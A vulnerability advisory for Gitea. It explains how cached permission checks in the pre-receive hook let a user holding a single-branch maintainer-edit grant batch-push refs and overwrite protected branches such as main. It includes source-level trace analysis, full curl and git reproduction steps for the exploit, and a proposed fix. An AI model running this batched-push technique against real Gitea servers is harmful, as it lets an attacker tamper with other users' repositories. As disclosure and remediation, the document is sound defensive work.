Gitea: Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write

The pre-receive hook in Gitea evaluates the CanMaintainerWriteToBranch permission only once per git push session and caches the result for all subsequent refs in the same batch. An attacker who has a legitimate per-branch write grant (e.g., via an open pull request with "Allow edits from maintainers" enabled) can batch-push that branch together with any other ref. The cached true from the first ref is reused for all following refs, allowing the attacker to overwrite protected branches (including main), create arbitrary new branches, and push tags. This effectively escalates a single-branch maintainer-edit grant into full repository write access.

Technical Description

When processing a multi-ref git push, the HookPreReceive handler at hook_pre_receive.go:107 iterates over all incoming refs. For each branch ref, preReceiveBranch (:140) updates ctx.branchName to the current branch (:142) and then calls AssertCanWriteCode() (:144).

CanWriteCode() (:55-64) checks whether the user can write to the repository. On the first call, it evaluates issues_model.CanMaintainerWriteToBranch(ctx, userPerm, ctx.branchName, user) and stores the result in a boolean flag (canWriteCode) with a guard (checkedCanWriteCode). On all subsequent calls within the same batch, it returns the cached boolean without re-evaluating against the now-different ctx.branchName.

This means the permission check is branch-specific in its inputs but session-scoped in its caching — a classic check-vs-use divergence.

A second contributing factor is the AGit-flow relaxation at routers/web/repo/githttp.go:190-192 (and routers/private/serv.go:337-338), which downgrades the outer receive-pack access gate from Write to Read when git.DefaultFeatures().SupportProcReceive is true (git ≥ 2.29). This allows a user with only Read access on a repository to initiate a receive-pack session, deferring all authorization to the pre-receive hook — which contains the caching bug described above.

First Faulty Condition

Trace Analysis

The following is the path from the attacker's git push to the authorization fault:

1. POST /{owner}/{repo}.git/git-receive-pack → routers/web/repo/githttp.go:437 (ServiceReceivePack) → httpBase() (:60)

   • Access gate is downgraded from Write to Read at :190-192 due to AGit-flow support.

2. git receive-pack invokes the pre-receive hook → cmd/hook.go:184 (runHookPreReceive) → modules/private/hook.go:96 (HookPreReceive) → internal API → routers/private/hook_pre_receive.go:107 (HookPreReceive)

3. Loop at :117 iterates over all refs in the batch. For each branch ref, preReceiveBranch (:140) sets ctx.branchName at :142.

4. Fault: AssertCanWriteCode() (:144) → CanWriteCode() (:55-64).

   • First ref (feature-branch): checkedCanWriteCode is false → evaluates CanMaintainerWriteToBranch(ctx, userPerm, "feature-branch", user) → returns true (legitimate grant) → caches result.
   • Second ref (main): checkedCanWriteCode is already true → returns cached true without re-evaluating against "main".

5. Hook returns 200 → git receive-pack accepts all refs → main is overwritten in the victim's repository.

Attack Vector & Reachability

The attacker gains full write access to the victim's repository — equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic.

Reproduction Steps

Environment
The issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS.

Prerequisites:

• a Gitea instance with two users, attacker and victim.

 1# 1. Attacker creates a repository (e.g., a popular open-source project)
 2curl -X POST "http://attacker:pw@<gitea>/api/v1/user/repos" \
 3  -H "Content-Type: application/json" \
 4  -d '{"name": "project", "auto_init": true}'
 5 
 6# 2. Victim forks attacker's repository (standard contributor workflow)
 7curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/forks" \
 8  -H "Content-Type: application/json" \
 9  -d '{}'
10 
11# 3. Victim creates a feature branch on their fork and commits a change
12curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/branches" \
13  -H "Content-Type: application/json" \
14  -d '{"new_branch_name": "feature-branch", "old_branch_name": "main"}'
15 
16curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/contribution.txt" \
17  -H "Content-Type: application/json" \
18  -d '{"message": "Add contribution", "content": "'$(echo -n "victim contribution" | base64)'", "branch": "feature-branch"}'
19 
20# 4. Victim opens a PR from their feature branch into attacker/project
21#    with "Allow edits from maintainers" enabled
22curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/pulls" \
23  -H "Content-Type: application/json" \
24  -d '{"title": "Feature PR", "head": "victim:feature-branch", "base": "main", "allow_maintainer_edit": true}'

At this point, the attacker (as maintainer of the base repo attacker/project) has a per-branch write grant on the victim's fork, scoped to the feature-branch branch only.

Attack

The attacker works from their own repo (attacker/project)

 1# 5. Attacker clones their own repo
 2git clone http://attacker:pw@<gitea>/attacker/project.git && cd project
 3 
 4# 6. Attacker fetches the victim's PR branch
 5git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch
 6git checkout victim-feature-branch
 7 
 8# 7. Attacker adds a commit to the PR branch
 9echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"
10 
11# 8. Attacker also prepares a malicious commit on main
12git checkout main
13echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"
14 
15# 9. Attacker pushes both refs to the victim's fork in a single operation — this is the exploit
16git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main
17 
18# 10. The change on both refs is visible regardless of PR status

Expected result:
main should be rejected ("User permission denied for writing").

Actual result:
Both refs are accepted. victim/project:main now contains the attacker's malicious commit.

 1# Verify: victim checks their fork's main branch
 2curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main"
 3# Returns attacker's "MALICIOUS CONTENT" — main has been overwritten

The same technique also works for pushing arbitrary tags (refs/tags/*) and creating new branches.

Remove the caching in CanWriteCode() — the CanMaintainerWriteToBranch check must be evaluated for every ref in the batch, not cached after the first call. The checkedCanWriteCode / canWriteCode fields on preReceiveContext and the guard in CanWriteCode() at hook_pre_receive.go:55-64 should be removed, so the permission is evaluated fresh each time preReceiveBranch or preReceiveTag calls it. loadPusherAndPermission() already has its own caching (loadedPusher), so the per-call cost is limited to the CanMaintainerWriteToBranch query.

See diff.patch for the proposed fix.

Patch provenance: AI-generated, human-reviewed.

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research